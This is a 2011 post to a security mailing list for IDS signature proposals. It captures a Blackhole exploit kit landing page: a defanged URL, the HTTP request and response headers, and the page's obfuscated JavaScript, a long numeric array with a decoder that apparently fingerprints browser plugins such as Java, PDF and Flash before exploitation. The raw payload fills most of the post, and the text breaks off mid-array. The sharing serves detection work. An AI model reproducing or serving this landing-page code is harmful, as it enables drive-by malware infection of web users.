[Emerging-Sigs] Proposed Signature for Blackhole Exploit Landing malicious applet

Nick Randolph randolphdavidn at gmail.com
Wed Oct 5 11:45:56 EDT 2011


New version of the blackhole landing page today. I tried to clean up some of
the extra whitespace at the bottom so this isn't an exact copy of what it
looks like.

hxxp://1oneok.ce.ms/main.php?page=64a30cd969b37792

GET /main.php?page=64a30cd969b37792 HTTP/1.1
Host: 1oneok.ce.ms
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:7.0.1) Gecko/20100101
Firefox/7.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Connection: keep-alive

HTTP/1.1 200 OK
Date: Wed, 05 Oct 2011 23:29:26 GMT
Server: Apache/2.2.20 (CentOS)X-Powered-By: PHP/5.3.8
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
15212<html><body><script>
a=[89,86,46,40,49,52,63,41,18,78,79,9,41,52,72,7,51,46,52,63,41,52,79,60,51,22,27,60,73,20,52,48,15,52,68,78,48,9,41,68,0,48,17,52,68,9,15,68,20,86,48,89,9,63,17,18,18,18,51,34,22,27,60,51,34,46,52,63,41,52,79,60,51,22,79,60,7,76,10,8,40,63,46,41,9,86,63,68,52,63,89,21,79,52,89,9,79,52,46,41,72,76,26,11,35,48,79,68,12,35,52,79,71,58,4,61,4,61,4,61,4,81,61,0,89,8,35,52,79,71,58,4,61,4,61,4,61,4,81,61,8,20,48,15,22,35,52,79,71,58,4,61,4,61,4,61,4,81,10,41,79,24,26,35,48,79,68,73,20,40,17,9,63,83,52,41,52,46,41,71,26,22,48,63,89,20,52,79,74,8,40,63,46,41,9,86,63,72,46,61,62,61,48,76,26,79,52,41,40,79,63,68,8,40,63,46,41,9,86,63,72,76,26,46,72,62,61,48,76,11,11,61,9,15,83,52,8,9,63,52,89,74,8,40,63,46,41,9,86,63,72,62,76,26,79,52,41,40,79,63,68,41,24,0,52,86,8,68,62,2,71,57,40,63,89,52,8,9,63,52,89,57,11,61,9,15,32,79,79,48,24,74,8,40,63,46,41,9,86,63,72,62,76,26,79,52,41,40,79,63,72,34,48,79,79,48,24,34,9,76,18,41,52,15,41,72,88,62,12,52,46,41,18,0,79,86,41,86,41,24,0,52,18,41,86,30,41,79,9,63,17,18,46,48,20,20,72,62,76,76,11,61,9,15,3,40,63,46,74,8,40,63,46,41,9,86,63,72,62,76,26,79,52,41,40,79,63,68,41,24,0,52,86,8,68,62,71,71,57,8,40,63,46,41,9,86,63,57,11,61,9,15,30,41,79,9,63,17,74,8,40,63,46,41,9,86,63,72,62,76,26,79,52,41,40,79,63,68,41,24,0,52,86,8,68,62,71,71,57,15,41,79,9,63,17,57,11,61,9,15,38,40,49,74,8,40,63,46,41,9,86,63,72,62,76,26,79,52,41,40,79,63,68,41,24,0,52,86,8,68,62,71,71,57,63,40,49,62,52,79,57,11,61,9,15,30,41,79,38,40,49,74,8,40,63,46,41,9,86,63,72,62,76,26,79,52,41,40,79,63,72,41,24,0,52,86,8,68,62,71,71,57,15,41,79,9,63,17,57,6,6,72,34,33,89,34,76,18,41,52,15,41,72,62,76,76,11,61,17,52,41,38,40,49,66,52,17,37,74,34,58,33,89,81,58,33,89,33,18,33,21,61,82,81,45,34,61,15,0,20,9,41,38,40,49,66,52,17,37,74,34,58,33,18,33,21,61,82,81,34,17,61,17,52,41,38,40,49,74,8,40,63,46,41,9,86,63,72,62,61,46,76,26,35,48,79,68,89,71,41,22,9,15,61,48,71,89,18,9,15,30,41,79,38,40,49,72,62,76,36,72,89,18,9,15,83,52,8,9,63,52,89,72,46,76,36,63,52,78,68,66,52,17,87,37,0,72,46,76,74,89,18,17,52,41,38,40,49,66,52,17,37,76,18,52,37,52,46,72,62,76,74,63,40,20,20,10,79,52,41,40,79,63,68,48,36,48,58,4,81,74,63,40,20,20,11,61,46,86,49,0,48,79,52,38,40,49,15,74,8,40,63,46,41,9,86,63,72,22,61,8,61,89,76,26,35,48,79,68,52,71,41,22,9,15,61,46,61,62,61,48,61,17,71,0,48,79,15,52,64,63,41,10,9,8,72,52,18,9,15,30,41,79,38,40,49,72,22,76,6,6,52,18,9,15,30,41,79,38,40,49,72,8,76,76,26,9,8,72,52,18,9,15,83,52,8,9,63,52,89,72,89,76,6,6,89,18,46,86,49,0,48,79,52,38,40,49,15,76,26,79,52,41,40,79,63,68,89,18,46,86,49,0,48,79,52,38,40,49,15,72,22,61,8,76,11,46,71,22,18,15,0,20,9,41,72,52,18,15,0,20,9,41,38,40,49,66,52,17,37,76,10,62,71,8,18,15,0,20,9,41,72,52,18,15,0,20,9,41,38,40,49,66,52,17,37,76,10,8,86,79,72,48,71,4,10,48,51,1,48,41,22,18,49,9,63,72,46,18,20,52,63,17,41,22,61,62,18,20,52,63,17,41,22,76,10,48,53,53,76,26,9,8,72,17,72,46,58,48,81,61,27,4,76,60,17,72,62,58,48,81,61,27,4,76,76,26,79,52,41,40,79,63,68,27,11,9,8,72,17,72,46,58,48,81,61,27,4,76,51,17,72,62,58,48,81,61,27,4,76,76,26,79,52,41,40,79,63,68,82,27,11,11,11,79,52,41,40,79,63,68,4,11,61,8,86,79,49,48,41,38,40,49,74,8,40,63,46,41,9,86,63,72,62,61,46,76,26,35,48,79,68,89,71,41,22,9,15,61,48,61,52,10,9,8,72,2,89,18,9,15,30,41,79,38,40,49,72,62,76,76,26,79,52,41,40,79,63,68,63,40,20,20,11,9,8,72,2,89,18,9,15,38,40,49,72,46,76,76,26,46,71,23,11,46,82,82,10,52,71,62,18,79,52,0,20,48,46,52,72,34,33,15,34,17,61,57,57,76,18,15,0,20,9,41,72,89,18,15,0,20,9,41,38,40,49,66,52,17,37,76,18,46,86,63,46,48,41,72,58,57,4,57,61,57,4,57,61,57,4,57,61,57,4,57,81,76,10,8,86,79,72,48,71,4,10,48,51,23,10,48,53,53,76,26,9,8,72,34,47,72,4,53,76,72,18,53,76,39,34,18,41,52,15,41,72,52,58,48,81,76,76,26,52,58,48,81,71,66,52,17,87,37,0,18,39,69,11,9,8,72,48,60,46,13,13,2,72,34,33,89,34,76,18,41,52,15,41,72,52,58,48,81,76,76,26,52,58,48,81,71,57,4,57,11,11,79,52,41,40,79,63,68,52,18,15,20,9,46,52,72,4,61,23,76,18,12,86,9,63,72,57,61,57,76,11,61,39,39,22,48,15,1,9,49,52,16,24,0,52,74,8,40,63,46,41,9,86,63,72,48,76,26,79,52,41,40,79,63,68,8,40,63,46,41,9,86,63,72,89,76,26,9,8,72,2,48,18,9,15,64,87,6,6,89,76,26,35,48,79,68,46,61,62,61,52,61,8,71,48,18,9,15,30,41,79,9,63,17,72,89,76,36,58,89,81,74,89,10,9,8,72,2,8,13,13,2,8,18,20,52,63,17,41,22,76,26,79,52,41,40,79,63,68,63,40,20,20,11,8,86,79,72,52,71,4,10,52,51,8,18,20,52,63,17,41,22,10,52,53,53,76,26,9,8,72,34,58,47,33,15,81,34,18,41,52,15,41,72,8,58,52,81,76,6,6,72,46,71,63,48,35,9,17,48,41,86,79,18,49,9,49,52,16,24,0,52,15,58,8,58,52,81,81,76,6,6,72,62,71,46,18,52,63,48,62,20,52,89,73,20,40,17,9,63,76,6,6,72,62,18,63,48,49,52,13,13,62,18,89,52,15,46,79,9,0,41,9,86,63,76,76,26,79,52,41,40,79,63,68,46,11,11,11,79,52,41,40,79,63,68,63,40,20,20,11,11,61,8,9,63,89,38,48,35,73,20,40,17,9,63,74,8,40,63,46,41,9,86,63,72,20,61,52,61,46,76,26,35,48,79,68,12,71,41,22,9,15,61,22,71,63,52,78,68,66,52,17,87,37,0,72,20,61,57,9,57,76,61,89,71,72,2,12,18,9,15,83,52,8,9,63,52,89,72,52,76,13,13,52,76,36,34,33,89,34,74,4,61,65,71,46,36,63,52,78,68,66,52,17,87,37,0,72,46,61,57,9,57,76,74,4,61,48,71,63,48,35,9,17,48,41,86,79,18,0,20,40,17,9,63,15,61,17,71,57,57,61,8,61,62,61,49,10,8,86,79,72,8,71,4,10,8,51,48,18,20,52,63,17,41,22,10,8,53,53,76,26,49,71,48,58,8,81,18,89,52,15,46,79,9,0,41,9,86,63,13,13,17,10,62,71,48,58,8,81,18,63,48,49,52,13,13,17,10,9,8,72,72,22,18,41,52,15,41,72,49,76,6,6,72,2,89,13,13,89,18,41,52,15,41,72,66,52,17,87,37,0,18,20,52,8,41,67,86,63,41,52,37,41,53,66,52,17,87,37,0,18,79,9,17,22,41,67,86,63,41,52,37,41,76,76,76,13,13,72,22,18,41,52,15,41,72,62,76,6,6,72,2,89,13,13,89,18,41,52,15,41,72,66,52,17,87,37,0,18,20,52,8,41,67,86,63,41,52,37,41,53,66,52,17,87,37,0,18,79,9,17,22,41,67,86,63,41,52,37,41,76,76,76,76,26,9,8,72,2,65,13,13,2,72,65,18,41,52,15,41,72,49,76,13,13,65,18,41,52,15,41,72,62,76,76,76,26,79,52,41,40,79,63,68,48,58,8,81,11,11,11,79,52,41,40,79,63,68,63,40,20,20,11,61,17,52,41,1,9,49,52,87,63,48,62,20,52,89,73,20,40,17,9,63,74,8,40,63,46,41,9,86,63,72,48,61,8,76,26,35,48,79,68,52,71,41,22,9,15,61,62,61,46,71,63,52,78,68,66,52,17,87,37,0,72,8,61,57,9,57,76,61,89,71,57,57,10,9,8,72,72,62,71,52,18,22,48,15,1,9,49,52,16,24,0,52,72,48,76,76,6,6,72,62,71,62,18,52,63,48,62,20,52,89,73,20,40,17,9,63,76,6,6,72,46,18,41,52,15,41,72,62,18,89,52,15,46,79,9,0,41,9,86,63,13,13,89,76,13,13,46,18,41,52,15,41,72,62,18,63,48,49,52,13,13,89,76,76,76,26,79,52,41,40,79,63,68,62,11,79,52,41,40,79,63,68,4,11,61,17,52,41,73,20,40,17,9,63,3,9,20,52,55,52,79,15,9,86,63,74,8,40,63,46,41,9,86,63,72,8,61,62,76,26,35,48,79,68,22,71,41,22,9,15,61,52,61,89,61,17,61,48,61,46,71,82,27,10,9,8,72,22,18,88,30,60,69,13,13,2,8,13,13,2,8,18,35,52,79,15,9,86,63,13,13,2,72,52,71,22,18,17,52,41,38,40,49,72,8,18,35,52,79,15,9,86,63,76,76,76,26,79,52,41,40,79,63,68,62,11,9,8,72,2,62,76,26,79,52,41,40,79,63,68,52,11,52,71,22,18,8,86,79,49,48,41,38,40,49,72,52,76,10,62,71,22,18,8,86,79,49,48,41,38,40,49,72,62,76,10,89,71,62,18,15,0,20,9,41,72,22,18,15,0,20,9,41,38,40,49,66,52,17,37,76,10,17,71,52,18,15,0,20,9,41,72,22,18,15,0,20,9,41,38,40,49,66,52,17,37,76,10,8,86,79,72,48,71,4,10,48,51,89,18,20,52,63,17,41,22,10,48,53,53,76,26,9,8,72,46,60,82,27,6,6,48,60,46,6,6,89,58,48,81,2,71,57,4,57,76,26,79,52,41,40,79,63,68,62,11,9,8,72,17,58,48,81,2,71,89,58,48,81,76,26,9,8,72,46,71,71,82,27,76,26,46,71,48,11,9,8,72,89,58,48,81,2,71,57,4,57,76,26,79,52,41,40,79,63,68,62,11,11,11,79,52,41,40,79,63,68,52,11,61,32,25,88,74,78,9,63,89,86,78,18,32,46,41,9,35,52,25,88,62,12,52,46,41,61,17,52,41,32,25,88,74,8,40,63,46,41,9,86,63,72,62,76,26,35,48,79,68,8,71,63,40,20,20,61,89,61,46,71,41,22,9,15,61,48,10,41,79,24,26,8,71,63,52,78,68,46,18,32,25,88,72,62,76,11,46,48,41,46,22,72,89,76,26,11,79,52,41,40,79,63,68,8,11,61,46,86,63,35,52,79,41,3,40,63,46,15,74,8,40,63,46,41,9,86,63,72,17,76,26,35,48,79,68,48,61,22,61,8,61,62,71,34,47,58,33,39,81,58,33,39,81,34,61,89,71,26,11,61,46,71,41,22,9,15,10,8,86,79,72,48,68,9,63,68,17,76,26,9,8,72,62,18,41,52,15,41,72,48,76,76,26,89,58,48,81,71,27,11,11,8,86,79,72,48,68,9,63,68,89,76,26,41,79,24,26,22,71,48,18,15,20,9,46,52,72,69,76,10,9,8,72,22,18,20,52,63,17,41,22,60,4,6,6,2,17,58,22,81,76,26,17,58,22,81,71,17,58,48,81,72,17,76,10,89,52,20,52,41,52,68,17,58,48,81,11,11,46,48,41,46,22,72,8,76,26,11,11,11,61,9,63,9,41,30,46,79,9,0,41,74,8,40,63,46,41,9,86,63,72,76,26,35,48,79,68,46,71,41,22,9,15,61,48,71,63,48,35,9,17,48,41,86,79,61,52,71,57,34,57,61,9,71,48,18,40,15,52,79,32,17,52,63,41,13,13,57,57,61,17,71,48,18,35,52,63,89,86,79,13,13,57,57,61,62,71,48,18,0,20,48,41,8,86,79,49,13,13,57,57,61,22,71,48,18,0,79,86,89,40,46,41,13,13,57,57,10,46,18,88,30,71,27,4,4,10,9,8,72,62,76,26,35,48,79,68,8,61,89,71,58,57,54,9,63,57,61,27,61,57,1,48,46,57,61,69,61,57,31,9,63,40,37,57,61,85,61,57,3,79,52,52,77,30,83,57,61,23,61,57,9,73,22,86,63,52,57,61,69,27,18,27,61,57,9,73,86,89,57,61,69,27,18,69,61,57,9,73,48,89,57,61,69,27,18,85,61,57,54,9,63,18,45,67,87,57,61,69,69,18,27,61,57,54,9,63,18,45,1,86,62,9,20,52,57,61,69,69,18,69,61,57,73,86,46,65,52,41,33,33,15,45,73,67,57,61,69,69,18,85,61,57,57,61,27,4,4,81,10,8,86,79,72,8,71,89,18,20,52,63,17,41,22,82,69,10,8,60,71,4,10,8,71,8,82,69,76,26,9,8,72,89,58,8,81,6,6,63,52,78,68,66,52,17,87,37,0,72,89,58,8,81,61,57,9,57,76,18,41,52,15,41,72,62,76,76,26,46,18,88,30,71,89,58,8,53,27,81,10,62,79,52,48,65,11,11,11,46,18,46,86,63,35,52,79,41,3,40,63,46,15,72,46,76,10,46,18,9,15,64,87,71,63,52,78,68,3,40,63,46,41,9,86,63,72,57,79,52,41,40,79,63,68,57,53,52,53,57,45,70,46,46,21,86,63,2,70,45,57,53,52,53,57,8,48,20,15,52,57,76,72,76,10,46,18,35,52,79,64,87,71,46,18,9,15,64,87,6,6,72,34,1,30,64,87,33,15,45,72,33,89,53,33,18,36,33,89,45,76,34,9,76,18,41,52,15,41,72,9,76,36,0,48,79,15,52,3,20,86,48,41,72,66,52,17,87,37,0,18,39,27,61,27,4,76,74,63,40,20,20,10,46,18,32,46,41,9,35,52,25,87,63,48,62,20,52,89,71,8,48,20,15,52,10,9,8,72,46,18,9,15,64,87,76,26,35,48,79,68,8,61,12,71,58,57,1,15,37,49,20,69,18,25,1,31,43,16,16,73,57,61,57,1,15,37,49,20,69,18,83,88,1,83,86,46,40,49,52,63,41,57,61,57,1,9,46,79,86,15,86,8,41,18,25,1,31,83,88,1,57,61,57,30,22,86,46,65,78,48,35,52,3,20,48,15,22,18,30,22,86,46,65,78,48,35,52,3,20,48,15,22,57,61,57,16,83,67,67,41,20,18,16,83,67,67,41,20,57,61,57,30,22,52,20,20,18,29,64,43,52,20,0,52,79,57,61,57,30,46,79,9,0,41,9,63,17,18,83,9,46,41,9,86,63,48,79,24,57,61,57,78,49,0,20,48,24,52,79,18,86,46,37,57,81,10,8,86,79,72,8,71,4,10,8,51,12,18,20,52,63,17,41,22,10,8,53,53,76,26,9,8,72,46,18,17,52,41,32,25,88,72,12,58,8,81,76,76,26,46,18,32,46,41,9,35,52,25,87,63,48,62,20,52,89,71,41,79,40,52,10,62,79,52,48,65,11,11,46,18,22,52,48,89,71,46,18,9,15,83,52,8,9,63,52,89,72,89,86,46,40,49,52,63,41,18,17,52,41,87,20,52,49,52,63,41,15,77,24,16,48,17,38,48,49,52,76,36,89,86,46,40,49,52,63,41,18,17,52,41,87,20,52,49,52,63,41,15,77,24,16,48,17,38,48,49,52,72,57,22,52,48,89,57,76,58,4,81,74,63,40,20,20,11,46,18,9,15,19,52,46,65,86,71,72,34,19,52,46,65,86,34,9,76,18,41,52,15,41,72,22,76,6,6,72,34,19,52,46,65,86,33,15,45,33,34,33,15,45,33,89,34,9,76,18,41,52,15,41,72,9,76,10,46,18,35,52,79,19,52,46,65,86,71,46,18,9,15,19,52,46,65,86,36,46,18,8,86,79,49,48,41,38,40,49,72,72,34,79,35,33,15,45,33,74,33,15,45,72,58,33,18,33,61,33,89,81,53,76,34,9,76,18,41,52,15,41,72,9,76,36,66,52,17,87,37,0,18,39,27,74,57,4,18,80,57,76,74,63,40,20,20,10,46,18,9,15,30,48,8,48,79,9,71,72,34,30,48,8,48,79,9,33,15,45,33,34,33,15,45,33,89,34,9,76,18,41,52,15,41,72,9,76,6,6,72,34,32,0,0,20,52,34,9,76,18,41,52,15,41,72,17,76,10,46,18,9,15,67,22,79,86,49,52,71,72,34,67,22,79,86,49,52,33,15,45,33,34,33,15,45,72,33,89,58,33,89,33,18,81,45,76,34,9,76,18,41,52,15,41,72,9,76,10,46,18,35,52,79,67,22,79,86,49,52,71,46,18,9,15,67,22,79,86,49,52,36,46,18,8,86,79,49,48,41,38,40,49,72,66,52,17,87,37,0,18,39,27,76,74,63,40,20,20,10,46,18,9,15,88,0,52,79,48,71,72,34,88,0,52,79,48,33,15,45,58,33,34,81,36,33,15,45,72,33,89,53,33,18,36,33,89,45,76,34,9,76,18,41,52,15,41,72,9,76,10,46,18,35,52,79,88,0,52,79,48,71,46,18,9,15,88,0,52,79,48,6,6,72,72,34,55,52,79,15,9,86,63,33,15,45,33,34,33,15,45,72,33,89,53,33,18,36,33,89,45,76,34,9,76,18,41,52,15,41,72,9,76,13,13,27,76,36,0,48,79,15,52,3,20,86,48,41,72,66,52,17,87,37,0,18,39,27,61,27,4,76,74,63,40,20,20,10,46,18,48,89,89,54,9,63,87,35,52,63,41,72,57,20,86,48,89,57,61,46,18,22,48,63,89,20,52,79,72,46,18,79,40,63,54,31,8,40,63,46,15,61,46,76,76,11,61,9,63,9,41,74,8,40,63,46,41,9,86,63,72,46,76,26,35,48,79,68,62,71,41,22,9,15,61,48,61,46,10,9,8,72,2,62,18,9,15,30,41,79,9,63,17,72,46,76,76,26,79,52,41,40,79,63,68,82,85,11,9,8,72,46,18,20,52,63,17,41,22,71,71,27,76,26,62,18,17,52,41,55,52,79,15,9,86,63,83,52,20,9,49,9,41,52,79,71,46,10,79,52,41,40,79,63,68,82,85,11,46,71,46,18,41,86,31,86,78,52,79,67,48,15,52,72,76,18,79,52,0,20,48,46,52,72,34,33,15,34,17,61,57,57,76,10,48,71,62,58,46,81,10,9,8,72,2,48,13,13,2,48,18,17,52,41,55,52,79,15,9,86,63,76,26,79,52,41,40,79,63,68,82,85,11,62,18,0,20,40,17,9,63,71,48,10,9,8,72,2,62,18,9,15,83,52,8,9,63,52,89,72,48,18,9,63,15,41,48,20,20,52,89,76,76,26,48,18,9,63,15,41,48,20,20,52,89,71,48,18,35,52,79,15,9,86,63,71,48,18,35,52,79,15,9,86,63,4,71,48,18,17,52,41,55,52,79,15,9,86,63,83,86,63,52,71,63,40,20,20,10,48,18,39,71,62,10,48,18,0,20,40,17,9,63,38,48,49,52,71,46,11,62,18,17,48,79,62,48,17,52,71,8,48,20,15,52,10,9,8,72,62,18,9,15,64,87,6,6,2,62,18,32,46,41,9,35,52,25,87,63,48,62,20,52,89,76,26,9,8,72,48,2,71,71,62,18,12,48,35,48,76,26,79,52,41,40,79,63,68,82,69,11,11,79,52,41,40,79,63,68,27,11,61,8,73,40,15,22,74,8,40,63,46,41,9,86,63,72,62,61,48,76,26,35,48,79,68,46,71,41,22,9,15,10,9,8,72,46,18,9,15,32,79,79,48,24,72,48,76,6,6,72,46,18,9,15,3,40,63,46,72,62,76,13,13,72,46,18,9,15,32,79,79,48,24,72,62,76,6,6,62,18,20,52,63,17,41,22,60,4,6,6,46,18,9,15,3,40,63,46,72,62,58,4,81,76,76,76,76,26,48,18,0,40,15,22,72,62,76,11,11,61,46,48,20,20,32,79,79,48,24,74,8,40,63,46,41,9,86,63,72,62,76,26,35,48,79,68,46,71,41,22,9,15,61,48,10,9,8,72,46,18,9,15,32,79,79,48,24,72,62,76,76,26,8,86,79,72,48,71,4,10,48,51,62,18,20,52,63,17,41,22,10,48,53,53,76,26,9,8,72,62,58,48,81,71,71,71,63,40,20,20,76,26,79,52,41,40,79,63,11,46,18,46,48,20,20,72,62,58,48,81,76,10,62,58,48,81,71,63,40,20,20,11,11,11,61,46,48,20,20,74,8,40,63,46,41,9,86,63,72,46,76,26,35,48,79,68,62,71,41,22,9,15,61,48,71,62,18,9,15,32,79,79,48,24,72,46,76,36,46,18,20,52,63,17,41,22,74,82,27,10,9,8,72,48,60,4,6,6,62,18,9,15,3,40,63,46,72,46,58,4,81,76,76,26,46,58,4,81,72,62,61,48,60,27,36,46,58,27,81,74,4,61,48,60,69,36,46,58,69,81,74,4,61,48,60,85,36,46,58,85,81,74,4,76,11,52,20,15,52,26,9,8,72,62,18,9,15,3,40,63,46,72,46,76,76,26,46,72,62,76,11,11,11,61,17,52,41,55,52,79,15,9,86,63,83,52,20,9,49,9,41,52,79,74,57,61,57,61,39,39,17,52,41,55,52,79,15,9,86,63,74,8,40,63,46,41,9,86,63,72,48,76,26,79,52,41,40,79,63,68,8,40,63,46,41,9,86,63,72,17,61,89,61,46,76,26,35,48,79,68,52,71,48,18,9,63,9,41,72,17,76,61,8,61,62,61,22,10,9,8,72,52,51,4,76,26,79,52,41,40,79,63,68,63,40,20,20,11,10,8,71,48,18,0,20,40,17,9,63,10,9,8,72,8,18,17,52,41,55,52,79,15,9,86,63,83,86,63,52,2,71,27,76,26,8,18,17,52,41,55,52,79,15,9,86,63,72,63,40,20,20,61,89,61,46,76,10,9,8,72,8,18,17,52,41,55,52,79,15,9,86,63,83,86,63,52,71,71,71,63,40,20,20,76,26,8,18,17,52,41,55,52,79,15,9,86,63,83,86,63,52,71,27,11,11,48,18,46,20,52,48,63,40,0,72,76,10,62,71,72,8,18,35,52,79,15,9,86,63,13,13,8,18,35,52,79,15,9,86,63,4,76,10,62,71,62,36,62,18,79,52,0,20,48,46,52,72,48,18,15,0,20,9,41,38,40,49,66,52,17,37,61,48,18,17,52,41,55,52,79,15,9,86,63,83,52,20,9,49,9,41,52,79,76,74,62,10,79,52,41,40,79,63,68,62,11,11,61,46,20,52,48,63,40,0,74,8,40,63,46,41,9,86,63,72,76,26,35,48,79,68,48,71,41,22,9,15,10,9,8,72,48,18,17,48,79,62,48,17,52,6,6,48,18,9,15,83,52,8,9,63,52,89,72,78,9,63,89,86,78,18,67,86,20,20,52,46,41,19,48,79,62,48,17,52,76,76,26,78,9,63,89,86,78,18,67,86,20,20,52,46,41,19,48,79,62,48,17,52,72,76,11,11,61,48,89,89,54,9,63,87,35,52,63,41,74,8,40,63,46,41,9,86,63,72,89,61,46,76,26,35,48,79,68,52,71,41,22,9,15,61,48,71,78,9,63,89,86,78,61,62,10,9,8,72,52,18,9,15,3,40,63,46,72,46,76,76,26,9,8,72,48,18,48,89,89,87,35,52,63,41,31,9,15,41,52,63,52,79,76,26,48,18,48,89,89,87,35,52,63,41,31,9,15,41,52,63,52,79,72,89,61,46,61,8,48,20,15,52,76,11,52,20,15,52,26,9,8,72,48,18,48,41,41,48,46,22,87,35,52,63,41,76,26,48,18,48,41,41,48,46,22,87,35,52,63,41,72,57,86,63,57,53,89,61,46,76,11,52,20,15,52,26,62,71,48,58,57,86,63,57,53,89,81,10,48,58,57,86,63,57,53,89,81,71,52,18,78,9,63,43,48,63,89,20,52,79,72,46,61,62,76,11,11,11,11,61,78,9,63,43,48,63,89,20,52,79,74,8,40,63,46,41,9,86,63,72,89,61,46,76,26,79,52,41,40,79,63,68,8,40,63,46,41,9,86,63,72,76,26,89,72,76,10,9,8,72,41,24,0,52,86,8,68,46,71,71,57,8,40,63,46,41,9,86,63,57,76,26,46,72,76,11,11,11,61,54,31,8,40,63,46,15,4,74,58,81,61,54,31,8,40,63,46,15,74,58,81,61,79,40,63,54,31,8,40,63,46,15,74,8,40,63,46,41,9,86,63,72,48,76,26,48,18,78,9,63,31,86,48,89,52,89,71,41,79,40,52,10,48,18,46,48,20,20,32,79,79,48,24,72,48,18,54,31,8,40,63,46,15,4,76,10,48,18,46,48,20,20,32,79,79,48,24,72,48,18,54,31,8,40,63,46,15,76,10,9,8,72,48,18,86,63,83,86,63,52,87,49,0,41,24,83,9,35,76,26,48,18,86,63,83,86,63,52,87,49,0,41,24,83,9,35,72,76,11,11,61,78,9,63,31,86,48,89,52,89,74,8,48,20,15,52,61,39,39,86,63,54,9,63,89,86,78,31,86,48,89,52,89,74,8,40,63,46,41,9,86,63,72,48,76,26,79,52,41,40,79,63,68,8,40,63,46,41,9,86,63,72,62,76,26,9,8,72,48,18,78,9,63,31,86,48,89,52,89,76,26,48,18,46,48,20,20,72,62,76,11,52,20,15,52,26,48,18,8,73,40,15,22,72,62,61,48,18,54,31,8,40,63,46,15,76,11,11,11,61,39,39,86,63,83,52,41,52,46,41,9,86,63,83,86,63,52,74,8,40,63,46,41,9,86,63,72,48,76,26,79,52,41,40,79,63,68,8,40,63,46,41,9,86,63,72,22,61,17,61,46,61,62,76,26,35,48,79,68,89,71,48,18,9,63,9,41,72,22,76,61,12,61,52,10,9,8,72,89,71,71,82,85,76,26,79,52,41,40,79,63,68,82,27,11,52,71,48,18,0,20,40,17,9,63,10,9,8,72,2,48,18,9,15,32,79,79,48,24,72,52,18,8,40,63,46,15,76,76,26,52,18,8,40,63,46,15,71,58,81,11,9,8,72,52,18,17,52,41,55,52,79,15,9,86,63,83,86,63,52,2,71,27,76,26,12,71,48,18,9,15,1,9,63,55,52,79,15,9,86,63,36,48,18,9,15,1,9,63,55,52,79,15,9,86,63,72,22,61,57,4,57,61,46,61,62,76,74,48,18,17,52,41,55,52,79,15,9,86,63,72,22,61,46,61,62,76,11,9,8,72,52,18,9,63,15,41,48,20,20,52,89,2,71,82,4,18,84,6,6,52,18,9,63,15,41,48,20,20,52,89,2,71,4,18,84,76,26,48,18,46,48,20,20,72,17,76,10,79,52,41,40,79,63,68,27,11,9,8,72,52,18,38,88,16,3,76,26,48,18,8,73,40,15,22,72,17,61,52,18,8,40,63,46,15,76,10,79,52,41,40,79,63,68,4,11,79,52,41,40,79,63,68,27,11,11,61,89,9,35,74,63,40,20,20,61,89,9,35,54,9,89,41,22,74,84,4,61,0,20,40,17,9,63,30,9,50,52,74,27,61,52,49,0,41,24,83,9,35,74,8,40,63,46,41,9,86,63,72,76,26,35,48,79,68,46,71,41,22,9,15,61,48,61,52,61,62,61,89,71,4,10,9,8,72,46,18,89,9,35,6,6,46,18,89,9,35,18,46,22,9,20,89,38,86,89,52,15,76,26,8,86,79,72,48,71,46,18,89,9,35,18,46,22,9,20,89,38,86,89,52,15,18,20,52,63,17,41,22,82,27,10,48,60,71,4,10,48,82,82,76,26,62,71,46,18,89,9,35,18,46,22,9,20,89,38,86,89,52,15,58,48,81,10,9,8,72,62,6,6,62,18,46,22,9,20,89,38,86,89,52,15,76,26,9,8,72,89,71,71,4,76,26,8,86,79,72,52,71,62,18,46,22,9,20,89,38,86,89,52,15,18,20,52,63,17,41,22,82,27,10,52,60,71,4,10,52,82,82,76,26,62,18,79,52,49,86,35,52,67,22,9,20,89,72,62,18,46,22,9,20,89,38,86,89,52,15,58,52,81,76,11,46,18,89,9,35,18,79,52,49,86,35,52,67,22,9,20,89,72,62,76,11,52,20,15,52,26,11,11,11,11,11,61,83,88,38,87,8,40,63,46,15,74,58,81,61,86,63,83,86,63,52,87,49,0,41,24,83,9,35,74,8,40,63,46,41,9,86,63,72,76,26,35,48,79,68,46,71,41,22,9,15,61,48,61,62,10,9,8,72,2,46,18,78,9,63,31,86,48,89,52,89,76,26,79,52,41,40,79,63,11,9,8,72,46,18,54,31,8,40,63,46,15,6,6,46,18,54,31,8,40,63,46,15,18,20,52,63,17,41,22,6,6,46,18,54,31,8,40,63,46,15,58,46,18,54,31,8,40,63,46,15,18,20,52,63,17,41,22,82,27,81,2,71,71,63,40,20,20,76,26,79,52,41,40,79,63,11,8,86,79,72,48,68,9,63,68,46,76,26,62,71,46,58,48,81,10,9,8,72,62,6,6,62,18,8,40,63,46,15,76,26,9,8,72,62,18,88,16,3,71,71,85,76,26,79,52,41,40,79,63,11,9,8,72,62,18,8,40,63,46,15,18,20,52,63,17,41,22,6,6,62,18,8,40,63,46,15,58,62,18,8,40,63,46,15,18,20,52,63,17,41,22,82,27,81,2,71,71,63,40,20,20,76,26,79,52,41,40,79,63,11,11,11,8,86,79,72,48,71,4,10,48,51,46,18,83,88,38,87,8,40,63,46,15,18,20,52,63,17,41,22,10,48,53,53,76,26,46,18,46,48,20,20,32,79,79,48,24,72,46,18,83,88,38,87,8,40,63,46,15,76,11,46,18,52,49,0,41,24,83,9,35,72,76,11,61,17,52,41,54,9,89,41,22,74,8,40,63,46,41,9,86,63,72,46,76,26,9,8,72,46,76,26,35,48,79,68,48,71,46,18,15,46,79,86,20,20,54,9,89,41,22,13,13,46,18,86,8,8,15,52,41,54,9,89,41,22,61,62,71,41,22,9,15,10,9,8,72,62,18,9,15,38,40,49,72,48,76,76,26,79,52,41,40,79,63,68,48,11,11,79,52,41,40,79,63,68,82,27,11,61,17,52,41,16,48,17,30,41,48,41,40,15,74,8,40,63,46,41,9,86,63,72,49,61,17,61,48,61,62,76,26,35,48,79,68,46,71,41,22,9,15,61,8,61,65,71,49,18,15,0,48,63,61,20,71,46,18,17,52,41,54,9,89,41,22,72,65,76,61,22,71,48,18,15,0,48,63,61,12,71,46,18,17,52,41,54,9,89,41,22,72,22,76,61,89,71,17,18,15,0,48,63,61,9,71,46,18,17,52,41,54,9,89,41,22,72,89,76,10,9,8,72,2,65,13,1